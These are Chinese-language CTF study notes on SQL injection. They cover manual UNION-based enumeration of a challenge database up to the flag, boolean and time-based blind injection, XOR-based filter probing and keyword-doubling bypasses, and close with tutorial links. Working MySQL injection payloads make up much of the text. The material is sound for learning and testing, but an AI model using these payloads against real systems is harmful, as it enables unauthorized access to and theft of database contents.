一,常规注入步骤:
1,正常输入
2,判断是否存在SQL注入
一般输入单引号判断“ ‘ ”,若服务器未做过滤则说明存在注入。
3,判断是数字型注入还是字符型注入
输入“2-1”,若是数字型则返回ID=1的情况。
输入“1’ or '1' = '1”,若返回ID=1的情况说明是字符型注入。
4,猜解查询字段的长度
输入“1‘ union select 1,2#” 若未显示结果则继续。
输入“1’ union select 1,2,3#”... 直到显示正确结果,union select 的个数就是字段长度。
或者是使用“1‘ order by 4” 当数字为5时错误,则说明有4个字段
5,尝试通过SQL注入查询敏感信息 (要知道使用的是什么数据库,我这里是mysql)
(1)获取数据库名:
-1' union select 1, 2, 3, database()#
得到数据库名“skctf_flag”
(2)获取表名:
-1' union select 1, 2, 3, table_name from information_schema.tables where table_schema=database()#
得到表名“fl4g, sc”, fl4g的16进制ascii码为0x666c3467
(3)获取字段:
-1' union select 1, 2, 3, column_name from information_schema.columns where table_name=0x666c3467#
得到字段skctf_flag
(4)查询数据:
-1' union select 1, 2, 3, skctf_flag from flg4#
最终得到flag, BUGKU{Sql_INJECT0N_4813drd8hz4}
二,SQL注入类型
1,按照参数类型分:数字型/字符型
2,按照数据库返回结果分:回显注入/报错注入/盲注
3,按照注入位置及方式不同分:post注入,get注入,cookie注入,盲注,延时注入,搜索注入,base64注入
三,盲注
1,基于boolean的盲注主要表现症状:
0.没有报错信息
1.不管是正确的输入,还是错误的输入,都只显示两种情况 (我们可以认为是0或者1)
2.在正确的输入下,输入and 1=1/and 1=2发现可以判断
在演示sql盲注之前,先演示一个mysql小知识:
Select database();
/
/
得到数据库名称
Select substr(database(),
1
,
1
);
/
/
使用substr函数截取结果中的值,从第一个字符开始,截取
1
个字符。
Select ascii(substr(database(),
1
,
1
)); 将截取出来的字符,转换成acsii码,以便于后面做运算。
Select ascii(substr(database(),
1
,
1
))>
97
;
/
/
结果会为
1
或者
0
,也就是true
or
false
(1) 获取数据库长度
Id
=
1
'
and
length((select database()))> number;(number = 1,2,3...
一直测试直至返回0)
(2) 逐个字母猜解数据库名
Id
=
1
' and
ascii(substr(database(),
1
,
1
))
=
97
#
(3) 获取表名
Id
=
1
' and
ascii(substr((select table_name
from
information_schema.tables where table_schema
=
database() limit
0
,
1
),
1
,
1
)
)>
100
#
2,基于时间的盲注
只能通过服务器响应的时间长短来判断猜测的字段名是否一致,比较耗时,需要进行自动化测试。
(1) 基础判断
sam' and sleep(5)# 如果服务器返回延迟,则说明存在注入
(2) 获取database()
sam' and if ((substr((select database()),1,1))='a', sleep(5), null)#
mysql中if的用法为:if (条件,true返回,false返回)
(3) 获取表信息
sam' and if (
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a',
sleep(5), null)#
当‘,’被过滤时,可以尝试使用“select case when (条件) then (代码1) else (代码2) end;”
若不能用substr(), substring(), 可尝试用“from 1 for 1”来获取指定位置的字符
四,异或注入
可以通过在注入点后边加上^(...)来判断是否过滤了关键词。
id = 1' ^(0)%23 不报错,id = 1'^(1=1)%23报错,从而可以进行异或注入
id = 1' ^(length('union'))%23若显示正常则说明union被过滤,同理可以测试select, and, or, limit, from..
可以尝试使用ununionion和seselectlect来绕过过滤
SQL注入套路:https://blog.betamao.me/2016/11/25/SQL%E6%B3%A8%E5%85%A5%E5%A5%97%E8%B7%AF/
SQL注入数据库判断:https://www.jianshu.com/p/e308d96e2ecd
https://www.jianshu.com/p/13e3afa52e64
SQL宽字节注入:https://lyiang.wordpress.com/2015/06/09/sql%E6%B3%A8%E5%85%A5%EF%BC%9A%E5%AE%BD%E5%AD%97%E8%8A%82%E6%B3%A8%E5%85%A5%EF%BC%88gbk%E5%8F%8C%E5%AD%97%E8%8A%82%E7%BB%95%E8%BF%87%EF%BC%89/
CTF中几种通用的sql盲注手法和注入的一些tips:https://www.anquanke.com/post/id/160584
CTF| SQL注入之login界面类:https://www.jianshu.com/p/17da91c3bdab
注入绕过技巧:https://www.jianshu.com/p/48a935b123ce
http://byd.dropsec.xyz/2016/08/01/SQL-Injection%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/
https://blog.csdn.net/wy_97/article/details/78085664?utm_source=blogkpcl11
SQLmap使用教程:https://www.cnblogs.com/ichunqiu/p/5805108.html
https://blog.spoock.com/2016/10/09/sqlmap-notes/
SQLmap自定义HTTP请求头:https://love.ranshy.com/sqlmap%E5%A4%84%E7%90%86cookie%E6%95%B0%E6%8D%AE/